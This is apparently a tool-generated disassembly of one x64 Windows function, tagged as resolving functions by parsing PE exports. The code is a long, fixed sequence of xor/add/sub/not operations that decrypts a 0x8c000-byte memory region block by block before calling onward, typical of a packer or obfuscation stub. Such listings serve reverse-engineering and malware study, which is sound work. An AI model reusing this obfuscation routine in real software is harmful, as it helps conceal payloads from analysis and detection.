Function at 0x140164000
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
push rbp
mov rbp, rsp
sub rsp, 0x20
and rsp, 0xfffffffffffffff0
lea rbx, [0x1400d7e00]
movabs rdx, 0
push rbx
xor dword [rbx + 0x1f4], 0x5dfb10a8
add dword [rbx + 0x3cc], 0x79373926
xor dword [rbx + 0x80], 0x60c70acf
not dword [rbx + 0xb8]
sub dword [rbx + 0x88], 0x249e2168
not dword [rbx + 0xe4]
xor dword [rbx + 0x390], 0x29ce7e12
not dword [rbx + 0xe0]
xor dword [rbx + 0x6c], 0x1d2920e1
xor dword [rbx + 0x3ec], 0x6ad64a86
sub dword [rbx + 0x1dc], 0x12d41299
sub dword [rbx + 0x248], 0x10e03733
sub dword [rbx + 0x90], 0xaa37c3a
not dword [rbx + 0x140]
sub dword [rbx + 0x2c], 0x18ca2bae
xor dword [rbx + 0x84], 0xd755f3f
add dword [rbx + 0x2d4], 0x753d4219
xor dword [rbx + 0x9c], 0x4bcd2830
sub dword [rbx + 0x108], 0x26bf3f86
not dword [rbx + 0x144]
not dword [rbx + 0x1b4]
add dword [rbx + 0x118], 0x6b380ab5
xor dword [rbx + 0x28], 0x63331093
not dword [rbx + 0x22c]
xor dword [rbx + 0x130], 0xbc505c
xor dword [rbx + 0x1a4], 0x17ba3f8e
add dword [rbx + 0x394], 0x3702683b
not dword [rbx + 0x300]
xor dword [rbx + 0x3b4], 0x15226c3f
add dword [rbx + 0x220], 0xd077257
not dword [rbx + 0x14]
xor dword [rbx + 0x290], 0x50005e43
xor dword [rbx + 0x1cc], 0x21926373
xor dword [rbx + 0x294], 0x36145d9
xor dword [rbx + 0x174], 0x61921e3a
add dword [rbx + 0x2e8], 0x34fa7d20
sub dword [rbx + 0x19c], 0x2fdc3910
sub dword [rbx + 0x320], 0x14da4e15
not dword [rbx + 0x160]
not dword [rbx + 0x324]
sub dword [rbx + 0x7c], 0x73596c90
not dword [rbx + 0x258]
not dword [rbx + 0x18c]
xor dword [rbx + 0x280], 0x7c3e7c9a
not dword [rbx + 0x360]
xor dword [rbx + 0x350], 0x68e71a5
not dword [rbx + 0x310]
add dword [rbx + 0x1b8], 0x7ba8322e
not dword [rbx + 0x148]
sub dword [rbx + 0xa8], 0x73227d1c
xor dword [rbx + 0x3f8], 0x191c2b04
add dword [rbx + 0x1c4], 0x1d75538e
add dword [rbx + reloc.SHELL32.dll_IsUserAnAdmin], 0x384d099b
add dword [rbx + 0x3c0], 0x63d2798d
add dword [rbx + 0x28c], 0x18e91f06
xor dword [rbx + 0x31c], 0x40b823be
sub dword [rbx + 0x2b4], 0x466e762e
add dword [rbx + 0xdc], 0x5a641e6f
sub dword [rbx + 0x39c], 0x7b971d46
sub dword [rbx + 0x60], 0x3ac8393e
sub dword [rbx + 0x3ac], 0x2ada17e7
not dword [rbx + 0x134]
not dword [rbx + 0x210]
not dword [rbx + 0x2a4]
add dword [rbx + 0x354], 0xf627483
sub dword [rbx + 0x298], 0x6b55640d
sub dword [rbx + 0x3c8], 0x4e4c0c28
xor dword [rbx + 0x238], 0x13171b44
sub dword [rbx + 0x2f0], 0x5ef31542
add dword [rbx + 0x2cc], 0x5c5e227a
add dword [rbx + 0x214], 0x6a216743
xor dword [rbx + 0x3a0], 0x769e784a
add dword [rbx + 0x2f4], 0xbc206c8
sub dword [rbx + 0xa0], 0x4c064f48
add dword [rbx + 0x1a0], 0x39071020
not dword [rbx + 0x3a4]
xor dword [rbx + 0x384], 0x5b24493c
not dword [rbx + 0x288]
xor dword [rbx + 0x128], 0x67644f49
not dword [rbx + 0xac]
sub dword [rbx + 0xc], 0x6a45cb9
xor dword [rbx + 0x370], 0x6ff5cb7
sub dword [rbx + 0xc4], 0x3f8c2c0a
xor dword [rbx + 0x36c], 0x4e320f08
xor dword [rbx + 0x21c], 0x5673131a
not dword [rbx + 0x3c]
add dword [rbx + 0xc8], 0x18e65d82
add dword [rbx + 0x1c], 0xf24066b
not dword [rbx + 0x34]
xor dword [rbx + 0x368], 0x3ee70949
sub dword [rbx + 0x26c], 0x1ad40852
not dword [rbx + 0x194]
sub dword [rbx + 0x2ac], 0x240d1eec
not dword [rbx + 0x2e0]
sub dword [rbx + 0xf0], 0x5d805801
add dword [rbx + 0xc0], 0x53ad1b6e
add dword [rbx + 0x2fc], 0x967a68
add dword [rbx + 0x25c], 0x250d2b23
add dword [rbx + 0x318], 0x5f272167
xor dword [rbx + 0x3f0], 0x4ca820b9
add dword [rbx + 0x274], 0x20985e6f
xor dword [rbx + 0x23c], 0x33871136
add dword [rbx + 0x3bc], 0x3744006a
xor dword [rbx + 0x12c], 0x555a6b3e
not dword [rbx + 0x33c]
add dword [rbx + 0x1a8], 0x5a3273b3
sub dword [rbx + 0x234], 0xf154f45
sub dword [rbx + 0x2d8], 0x4c844c95
xor dword [rbx + 0x8c], 0x28ba6e57
xor dword [rbx + 0x2c4], 0x364d17c3
xor dword [rbx + 0x348], 0x2ef71627
xor dword [rbx + 0x250], 0x5845546a
xor dword [rbx + 0x284], 0x42a2d7d
xor dword [rbx + 0x180], 0x571b6157
not dword [rbx + 0x2b8]
add dword [rbx + 0x24c], 0x3bc334fe
xor dword [rbx + 0x190], 0x36dc0d3b
not dword [rbx + 0x11c]
xor dword [rbx + 0x1f8], 0x1f626756
add dword [rbx + 0x254], 0xd86744a
sub dword [rbx + 0x78], 0x297d0f26
xor dword [rbx + 0x13c], 0x6c796ccc
add dword [rbx + 0x114], 0x4c093e33
not dword [rbx + 0x3d8]
xor dword [rbx + 0x218], 0x2737248b
sub dword [rbx + 0x3fc], 0x4153942
add dword [rbx + 0x34c], 0x707d7cdf
xor dword [rbx + 0x154], 0x2405419d
add dword [rbx + 0x1e4], 0x40cb011d
xor dword [rbx + 0x208], 0x130e00fc
sub dword [rbx + 0x164], 0x53223586
xor dword [rbx + 0x380], 0x1fef1758
sub dword [rbx + 0x388], 0x7bf33a2a
xor dword [rbx + 0x200], 0x44570635
not dword [rbx + 0x1d4]
add dword [rbx + 0xa4], 0x59e55eb8
not dword [rbx + 0x344]
sub dword [rbx + 0x30c], 0x48641298
not dword [rbx + 0x2d0]
sub dword [rbx + 0x16c], 0x6abc18da
not dword [rbx + 0x2bc]
not dword [rbx + 0xe8]
add dword [rbx + 0x224], 0x51712d2a
sub dword [rbx + 0x330], 0x56557911
not dword [rbx + 0x3d0]
not dword [rbx + 0x14c]
sub dword [rbx + 0x374], 0x75d10ce9
sub dword [rbx + 0x398], 0x68655ab3
add dword [rbx + 0x1b0], 0x3336048e
add dword [rbx + 0x3d4], 0x394f61c0
xor dword [rbx + 0x10], 0x50b23aa1
add dword [rbx + 0xcc], 0x30140453
add dword [rbx + 0x27c], 0x3fc271cc
sub dword [rbx + 0x308], 0x4b91500c
add dword [rbx + 0x68], 0x1e1c11a5
add dword [rbx + 0x204], 0x175934d9
sub dword [rbx + 0x124], 0x6b285c50
add dword [rbx + 0x264], 0x780612ed
not dword [rbx + 0x158]
xor dword [rbx + 0x178], 0x632430a
xor dword [rbx + 0x38c], 0x696d190f
xor dword [rbx + 0x3e0], 0x31bb243a
sub dword [rbx + 0x40], 0x25027fc0
not dword [rbx + 0x54]
xor dword [rbx + 0x230], 0x60a850d7
add dword [rbx + 0x70], 0x4d7a489e
not dword [rbx + 0x1d0]
add dword [rbx + 0x184], 0x47304ebe
not dword [rbx + 0x1c0]
sub dword [rbx + 0xd4], 0x2b8b444f
not dword [rbx + 0x1bc]
xor dword [rbx + 0x3a8], 0x2f353394
add dword [rbx + 0x378], 0x3ae446bc
xor dword [rbx + 0x334], 0x2ff28c4
not dword [rbx + 0x2a0]
sub dword [rbx + 0x44], 0x52154f3d
add dword [rbx + 0x244], 0x779765b7
not dword [rbx + 0x3b0]
xor dword [rbx + 0x5c], 0x60fe73de
xor dword [rbx + 0x98], 0x7be61830
add dword [rbx + 0x270], 0x690b2380
sub dword [rbx + 0x364], 0x7691781b
add dword [rbx + 0x268], 0x44dc54c7
sub dword [rbx + 0x64], 0x59251a28
not dword [rbx + 0x74]
xor dword [rbx + 0x170], 0x59ca29b7
add dword [rbx + 0x1c8], 0x5faf1f10
not dword [rbx + 0xfc]
add dword [rbx + 0x3f4], 0x291d780c
xor dword [rbx + 0x1ac], 0x1ab67f1f
add dword [rbx + 0xb0], 0x7bc4036b
not dword [rbx + 0x314]
not dword [rbx + 0x168]
xor dword [rbx + 0x3dc], 0xadf7c35
not dword [rbx + 0x10c]
not dword [rbx + 0x2b0]
not dword [rbx + 4]
sub dword [rbx + 0x1d8], 0x53da6b0d
add dword [rbx + 0x24], 0x2618660e
add dword [rbx + 0x32c], 0x43936c8
not dword [rbx + 0x2dc]
add dword [rbx + 0x358], 0x1e1552e5
add dword [rbx + 0x29c], 0x56351182
xor dword [rbx + 0x30], 0x3ad420e1
xor dword [rbx + 0x3e4], 0x59912cea
xor dword [rbx + 0x328], 0x6c0b7849
not dword [rbx + 0x3c4]
sub dword [rbx + 0x58], 0x4d406314
xor dword [rbx + 0x150], 0x1fb63446
add dword [rbx + 0x1ec], 0x2beb452a
not dword [rbx + 0x2ec]
add dword [rbx + 0x100], 0x4c9310a8
not dword [rbx + 0x110]
xor dword [rbx + 0x20c], 0x23e75b62
add dword [rbx + 0x4c], 0x629608cd
not dword [rbx + 0x188]
sub dword [rbx + 0x37c], 0x70807812
add dword [rbx + 0x38], 0x4e654668
not dword [rbx + 0xec]
xor dword [rbx + 0x338], 0x20cc79be
add dword [rbx + 0xf8], 0x1c792a02
add dword [rbx + 0x3b8], 0x20820152
xor dword [rbx + 0x304], 0x6a7b6460
add dword [rbx + 0x278], 0x64bf37fc
not dword [rbx + 0x1fc]
not dword [rbx + 0x228]
xor dword [rbx + 0x3e8], 0x4edb1fdb
sub dword [rbx + 0x50], 0x19215279
xor dword [rbx + 0x94], 0x44815f4a
not dword [rbx + 0xd0]
not dword [rbx + 0xbc]
xor dword [rbx + 0x2c0], 0x5c883842
add dword [rbx + 0x2e4], 0x38aa75af
sub dword [rbx + 0x1e8], 0x6563da6
sub dword [rbx + 0x138], 0x198a6267
xor dword [rbx + 0xd8], 0x79b17659
not dword [rbx + 0x120]
not dword [rbx + 0x35c]
add dword [rbx + 0x17c], 0x1cf579e1
xor dword [rbx + 0x48], 0x68e07ce6
xor dword [rbx + 0x20], 0x5d1377f7
not dword [rbx + 0x1e0]
not dword [rbx + 0x15c]
sub dword [rbx + 0x260], 0x5dea5764
add dword [rbx + 0x340], 0x3a215db6
sub dword [rbx + 0x2f8], 0x17036a16
sub dword [rbx + 0x18], 0x4d687324
add dword [rbx + 0x104], 0x6ad61373
sub dword [rbx], 0x73be3a76
xor dword [rbx + 0x2c8], 0xe3b2507
not dword [rbx + 0x1f0]
not dword [rbx + 0x198]
add dword [rbx + 0xb4], 0x30f02869
add dword [rbx + 0x240], 0x490e69d9
sub dword [rbx + 8], 0xce35ee9
not dword [rbx + 0xf4]
add rdx, 0x400
add rbx, 0x400
cmp rdx, 0x8c000
je 0x1401648e0
jmp 0x140164035
pop rcx
call fcn.140163706
mov rsp, rbp
pop rbp
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rbx
pop rdx
pop rcx
pop rax